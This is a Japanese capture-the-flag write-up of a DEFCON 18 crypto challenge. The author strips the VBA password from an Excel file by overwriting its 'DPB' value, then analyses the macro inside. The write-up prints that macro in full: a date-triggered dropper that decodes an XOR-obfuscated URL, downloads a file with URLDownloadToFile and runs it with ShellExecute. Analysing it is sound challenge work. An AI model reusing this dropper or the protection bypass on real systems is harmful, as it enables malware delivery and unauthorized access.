DEFCON 18 CTF Crypto Badness 300(c300) writeup
問題文: Would you like to play a game
超訳:あなたはゲームをしたいですか?
とりあえず、問題ファイルが何かという確認。
pentest@pubuntu:~/ctf/crypto300$ ls
c300_f75bec6f545034716.gz
pentest@pubuntu:~/ctf/crypto300$ file c300_f75bec6f545034716.gz
c300_f75bec6f545034716.gz: gzip compressed data, from Unix, last modified: Sun May 23 05:00:16 2010
pentest@pubuntu:~/ctf/crypto300$ gunzip -d c300_f75bec6f545034716.gz
pentest@pubuntu:~/ctf/crypto300$ ls
c300_f75bec6f545034716
pentest@pubuntu:~/ctf/crypto300$ file c300_f75bec6f545034716
c300_f75bec6f545034716: POSIX tar archive (GNU)
pentest@pubuntu:~/ctf/crypto300$ tar xvf c300_f75bec6f545034716
c300_f75bec6f545034716.xls
pentest@pubuntu:~/ctf/crypto300$ file c300_f75bec6f545034716.xls
c300_f75bec6f545034716.xls: CDF V2 Document, Little Endian, Os: Windows, Version 5.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Jul 26 11:18:57 2006, Last Saved Time/Date: Wed May 26 19:41:29 2010, Security: 1
エクセルファイルのようです。
開いてみるとボタンがあり、クリックすると
フラッシュを呼んでいるっぽい真っ白な画面が開き
羊のデスクトップマスコット(ram.exe)が所狭しと動き回ります。
(wowexec.exeを使って起動?)
マクロの中身を見てみようとするがパスワードが設定されていました。
このあたりのパスワードは、バイナリエディタで編集を行うことにより
自分の設定したパスワードに上書きし、そのパスワードで開けるものに
するということが可能です。
パスワードは暗号化されて、「DPB」という値に設定されています。
バイナリエディタで開き、「DPB」で検索すると見つかります。
この値を上書きすればいいわけです。
方法は、問題ファイルとは別にシートを作成し、そこで任意のパスワードを設定します。
そして、その別に作成したファイルの「DPB」の値を問題ファイルの「DPB」を上書きします。
この上書きを行う際には1つ条件があります。
上書きされる値と、上書きする値が同じ長さでなければいけないようです。
この長さは、設定する任意の文字列
つまり、パスワードに気をつけなければならないわけではありません。
別シートを上書き保存する度に、「DPB」の長さは変更されるので
目的の長さになるまで、ファイルの上書き保存を行えばOKです。
上書きする「DPE」に設定されている値は、74文字なので
別シートで74文字の「DPE」ができるまで繰り返し、上書き保存を行います。
何度か上書き保存を繰り返し74文字のDPEを作成。
ちなみに、設定した文字列は「1」です
上書き完了後、再度、エクセルファイルを開きマクロの中身を見ます。
自分で設定した「1」を使います。
問題なくパスワード「1」で開くことができました。
「Module1」内の記述は以下の通り
Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal _
szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function ShellExecute Lib "Shell32.dll" Alias "ShellExecuteA" _
(ByVal hwnd As Long, _
ByVal lpOperation As String, _
ByVal lpFile As String, _
ByVal lpParameters As String, _
ByVal lpDirectory As String, _
ByVal nShowCmd As Long) As Long
Private Sub GF()
WL = X("5A470714081E6E15355D000A5D000223001C5C041E481647545F4F574B16")
FL = X("51092F16535C6F003A56")
RV = URLDownloadToFile(0, WL, FL, 0, 0)
End Sub
Private Sub EX()
Dim OF As String
On Error Resume Next
UP = X("51092F")
OF = X("40521E4A574924")
RV = ShellExecute(0, "open", OF, "", UP, 3)
End Sub
Private Function X(DI As String) As String
Dim CK, sDO As String
Dim lDP, iXV1, iXV2 As Integer
On Error Resume Next
CK = Worksheets("Data").Range("AU2") & Worksheets("Data").Range("BE4866") & _
Worksheets("Data").Range("Z9550")
For lDP = 1 To (Len(DI) / 2)
iXV1 = Val("&H" & (Mid$(DI, (2 * lDP) - 1, 2)))
iXV2 = Asc(Mid$(CK, ((lDP Mod Len(CK)) + 1), 1))
sDO = sDO + Chr(iXV1 Xor iXV2)
Next lDP
X = sDO
End Function
Sub Rectangle1_Click()
Asteroids.Show False
Call MN
End Sub
Function KG()
KG = Worksheets("Sheet2").Range("AE9529") & Worksheets("Sheet2").Range("Z9550") & _
Worksheets("Sheet2").Range("E8761")
End Function
Sub MN()
Dim SD As Date
Dim ED As Date
Dim CD As Date
' On Error Resume Next
SD = X("071C41571D03715472")
ED = X("071C41521D03715472")
CD = Date
If (CD >= SD) And (CD < ED) Then
Call GF
Call EX
End If
End Sub
上記コードを色々眺めて(結構な時間ですがw)以下のようなシートの呼び出しが怪しいかも。
という考えに至ったので、ブレークポイントを設定、マクロを実行して「CK」「KG」の中身を覗いてみました。
CK = Worksheets("Data").Range("AU2") & Worksheets("Data").Range("BE4866") & _
Worksheets("Data").Range("Z9550")
KG = Worksheets("Sheet2").Range("AE9529") & Worksheets("Sheet2").Range("Z9550") & _
Worksheets("Sheet2").Range("E8761")
実行した結果としては「KG」の箇所には止まらず(関数がどこからも呼ばれていない)
「CK」の部分だけ、確認することができました。
この文字列
「a23sd21AeB349sdfWewrfw29552」
が正解でした。
なんとなく、正解に辿りつけた感じなので
もっと、スマートな解き方があるのかもしれないです。。。
# こうして書くとサラっと解けたように見えるのですが
# 悩んだところは、割愛されちゃいますね。
#取り組み中は、相当、悩んで色々なアプローチを試しているんですよ(笑)